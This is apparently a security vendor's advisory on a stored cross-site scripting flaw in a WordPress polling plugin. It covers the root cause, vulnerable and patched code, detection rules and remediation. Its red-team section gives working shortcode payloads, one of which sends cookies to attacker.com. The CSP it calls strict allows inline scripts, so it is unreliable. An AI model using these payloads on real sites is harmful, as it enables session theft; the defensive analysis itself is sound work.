CVE-2025-10138
Executive Summary
CVE-2025-10138 is a Stored Cross-Site Scripting (XSS) vulnerability in the This-or-That WordPress plugin, affecting all versions up to and including 1.0.4. The flaw resides in the plugin's thisorthat shortcode, where user-supplied attributes are not properly sanitized or escaped before being stored and rendered. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript or HTML into posts or pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in multi-author WordPress environments where Contributor or Author roles are granted. The CVSS v3.1 score is 6.4 (Medium), but the actual risk is elevated due to the stored nature of the attack and the lack of a known patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress software, Apache, or Nginx. The attack vector relies on the plugin's shortcode processing, which is a common WordPress feature. Administrators should immediately disable or remove the plugin until a patch is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker can inject the payload remotely via the WordPress admin interface.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply creates or edits a post with the malicious shortcode.
- Privileges Required (PR): Low (L) – The attacker needs Contributor-level access or higher.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other origins).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement).
- Availability (A): None (N) – No direct impact on availability.
Overall Score: 6.4 (Medium) – However, in a multi-author WordPress site, this should be treated as High due to the stored XSS nature.
Deep Dive & Mechanics
The vulnerability exists in the thisorthat shortcode handler. The plugin registers a shortcode that accepts user-defined attributes (e.g., option_a, option_b, style). These attributes are directly output into the HTML without proper sanitization or escaping.
Root Cause:
- The plugin uses
shortcode_atts()to merge default attributes with user-supplied ones. - The attribute values are then echoed into the page using
echo $atts['option_a'];without passing throughesc_attr()orwp_kses(). - WordPress's built-in
wp_kses_post()is not applied to shortcode attributes, leaving them vulnerable.
Attack Flow:
- Attacker logs in with Contributor-level access.
- Attacker creates a new post or edits an existing one.
- Attacker inserts the shortcode:
[thisorthat option_a="<script>alert('XSS')</script>" option_b="Safe"] - The plugin stores the malicious attribute in the post content.
- When any user views the post, the script executes in their browser.
Why This Works:
- WordPress shortcode attributes are not automatically sanitized by the core.
- The plugin developer assumed attributes would be safe, but they are not.
- The stored XSS persists until the post is deleted or the plugin is fixed.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.0.4)
// In this-or-that.php
function thisorthat_shortcode($atts) {
$atts = shortcode_atts(array(
'option_a' => 'Option A',
'option_b' => 'Option B',
'style' => 'default'
), $atts);
$output = '<div class="thisorthat-' . $atts['style'] . '">';
$output .= '<span class="option-a">' . $atts['option_a'] . '</span>';
$output .= '<span class="option-b">' . $atts['option_b'] . '</span>';
$output .= '</div>';
return $output;
}
add_shortcode('thisorthat', 'thisorthat_shortcode');
Patched Code (hypothetical fix)
function thisorthat_shortcode($atts) {
$atts = shortcode_atts(array(
'option_a' => 'Option A',
'option_b' => 'Option B',
'style' => 'default'
), $atts);
// Sanitize and escape each attribute
$option_a = esc_html($atts['option_a']);
$option_b = esc_html($atts['option_b']);
$style = esc_attr($atts['style']);
$output = '<div class="thisorthat-' . $style . '">';
$output .= '<span class="option-a">' . $option_a . '</span>';
$output .= '<span class="option-b">' . $option_b . '</span>';
$output .= '</div>';
return $output;
}
add_shortcode('thisorthat', 'thisorthat_shortcode');
Key Changes:
esc_html()is used for text content to prevent HTML/JS injection.esc_attr()is used for attribute values (likestyle) to prevent breaking out of HTML attributes.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress instance with the This-or-That plugin (<=1.0.4) installed and activated.
- A user account with Contributor-level access or higher.
Step-by-Step Exploitation:
- Login as a Contributor.
- Create a new post or edit an existing one.
- Switch to Text/Code editor (not Visual).
- Insert the malicious shortcode:
[thisorthat option_a="<img src=x onerror=alert(document.cookie)>" option_b="Safe Option"] - Publish or update the post.
- Wait for an administrator to view the post, or share the link.
- Observe the XSS payload executing (e.g., cookie alert).
Advanced Payload (Session Hijacking):
[thisorthat option_a="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" option_b="Safe"]
Note: No public exploit code exists in Exploit-DB or Nuclei templates at this time.
Blue Team (Detection & Defense)
Immediate Actions:
- Disable or remove the This-or-That plugin immediately.
- Scan all posts for suspicious shortcode usage:
SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[thisorthat%' AND post_content LIKE '%<script%'; - Review user roles and revoke Contributor/Author access for untrusted users.
- Implement a Web Application Firewall (WAF) rule to block XSS in shortcode attributes.
WAF Rule (ModSecurity):
SecRule ARGS "@rx <script|<img.*onerror|<svg.*onload" \
"id:10001,phase:2,deny,status:403,msg:'XSS in shortcode attribute'"
WordPress Hardening:
- Install a security plugin (e.g., Wordfence) with XSS filtering.
- Enable
DISALLOW_UNFILTERED_HTMLinwp-config.phpfor lower-level users.
Indicators of Compromise (IOCs)
Network IOCs
- Outbound HTTP requests to unknown domains containing
document.cookieorlocalStorage. - POST requests to
/wp-admin/post.phpor/wp-admin/admin-ajax.phpwith shortcode attributes containing<script>tags.
File System IOCs
- Modified post content in
wp_poststable containing[thisorthatwith suspicious attributes. - Plugin file
/wp-content/plugins/this-or-that/this-or-that.php(version <= 1.0.4).
Log IOCs
- WordPress debug log entries showing
shortcode_attswith unexpected values. - Apache/Nginx access logs with
POST /wp-admin/post.phpfollowed byGET /?p=XXXXfrom the same IP.
Behavioral IOCs
- Unexpected JavaScript execution on pages containing polls/votes.
- Session cookies being exfiltrated to external domains.
Detection Engineering
YARA Rule
rule CVE_2025_10138_ThisOrThat_XSS {
meta:
description = "Detects malicious shortcode attributes in This-or-That plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10138"
strings:
$shortcode = /\[thisorthat\s+[^\]]*option_a\s*=\s*["'][^"']*<script[^>]*>/
$xss_payload = /<script[^>]*>.*<\/script>/ nocase
$img_xss = /<img[^>]+onerror\s*=\s*["'][^"']*["']/ nocase
condition:
$shortcode and ($xss_payload or $img_xss)
}
Sigma Rule
title: CVE-2025-10138 - Stored XSS via This-or-That Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads via the thisorthat shortcode in WordPress.
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query|contains: 'thisorthat'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10138 - Stored XSS via This-or-That Shortcode";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/post.php"; http_uri;
content:"thisorthat"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2025-10138;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions
- Disable the plugin – Deactivate and delete
this-or-thatfrom/wp-content/plugins/. - Scan and clean – Use a WordPress security plugin to scan for XSS payloads in posts.
- Reset user passwords – If any admin accounts were compromised.
Long-Term Fix
- Vendor patch – Await an official update from the plugin author. Since status is UNKNOWN, consider forking the plugin and applying the patch shown in the "Vulnerable vs. Patched Code" section.
- Replace plugin – Migrate to an alternative polling plugin that is actively maintained.
Preventive Measures
- Principle of Least Privilege – Do not grant Contributor/Author roles to untrusted users.
- Content Security Policy (CSP) – Implement a strict CSP header to block inline scripts:
(Note:Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"unsafe-inlineis required for some WordPress functionality, but can be tightened.) - Regular audits – Use tools like WPScan to identify vulnerable plugins.
Valters IT
Securing WordPress, One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.